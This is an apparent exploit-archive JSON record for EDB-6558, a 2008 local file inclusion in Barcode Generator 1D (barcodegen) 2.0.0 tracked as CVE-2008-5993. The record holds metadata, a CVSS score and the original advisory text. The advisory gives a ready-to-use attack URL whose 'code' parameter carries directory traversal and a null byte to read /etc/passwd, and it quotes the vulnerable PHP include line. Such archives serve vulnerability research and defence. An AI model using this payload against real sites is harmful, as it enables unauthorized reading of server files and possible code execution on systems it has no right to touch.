{"exploit":{"id":"EDB-6558","name":"barcodegen 2.0.0 - Local File Inclusion (LFI)","description":"barcodegen 2.0.0 - Local File Inclusion (LFI)","cves":["CVE-2008-5993"],"author":"dun","published":"2008-09-24","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/6558","path":"exploits/php/webapps/6558.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-6558.txt","vulnerabilities":[{"id":"CVE-2008-5993","state":"PUBLISHED","title":null,"titleSource":null,"description":"Directory traversal vulnerability in image.php in Barcode Generator 1D (barcodegen) 2.0.0 and earlier allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the code parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-5993","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-5993"},"updatedAt":"2024-08-07T11:13:13.764Z","retrievedAt":"2026-11-26T20:08:39.583Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-6558.png?v=2","url":"https://exploitbin.com/exploits/EDB-6558","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-6558/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-6558/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"  :::::::-.   ...    ::::::.    :::.\n   ;;,   `';, ;;     ;;;`;;;;,  `;;;\n   `[[     [[[['     [[[  [[[[[. '[[\n    $$,    $$$$      $$$  $$$ \"Y$c$$\n    888_,o8P'88    .d888  888    Y88\n    MMMMP\"`   \"YmmMMMM\"\"  MMM     YM\n\n   [ Discovered by dun \\ dun[at]strcpy.pl ]\n\n ###################################################################\n #  [ barcodegen <= 2.0.0 ]   Local File Inclusion Vulnerability   #\n ###################################################################\n #\n # Script: \"Barcode Generator 1D\"\n #\n # Script site: http://www.barcodephp.com/\n # Download: http://www.barcodephp.com/download.php\n #\n # Vuln:\n # http://site.com/[barcodegen.1d-v2.0.0]/html/image.php?t=1&r=1&text=1&f1=1&f2=1&o=1&a1=1&a2=1&code=/../../../../../../../etc/passwd%00\n #\n #\n # Bug: ./barcodegen.1d-v2.0.0/html/image.php (lines: 2-8)\n #\n # ...\n # if(isset($_GET['code']) && isset($_GET['t']) && isset($_GET['r']) && isset($_GET['text']) && isset($_GET['f1'])\n #    && isset($_GET['f2']) && isset($_GET['o']) && isset($_GET['a1']) && isset($_GET['a2'])) {\n #\trequire('config.php');\n #\trequire($class_dir.'/BCGColor.php');\n #\trequire($class_dir.'/BCGBarcode.php');\n #\trequire($class_dir.'/BCGDrawing.php');\n #\trequire($class_dir.'/BCGFont.php');\n #\tif(include($class_dir . '/BCG' . $_GET['code'] . '.barcode.php')) {\t// LFI\n # ...\n #\n #\n ###############################################\n # Greetz: D3m0n_DE * str0ke * and otherz..\n ###############################################\n\n [ dun / 2008 ]\n\n*******************************************************************************************\n\n# milw0rm.com [2008-09-24]","sha256":"9fc53dd54a0814bd2cd3188254afcb1ca4d97ed83cb7108d104a6f7598da4089","bytes":1604,"fetchedAt":"2026-11-26T20:08:35.081Z","encoding":"utf-8 (display only; download retains original bytes)"}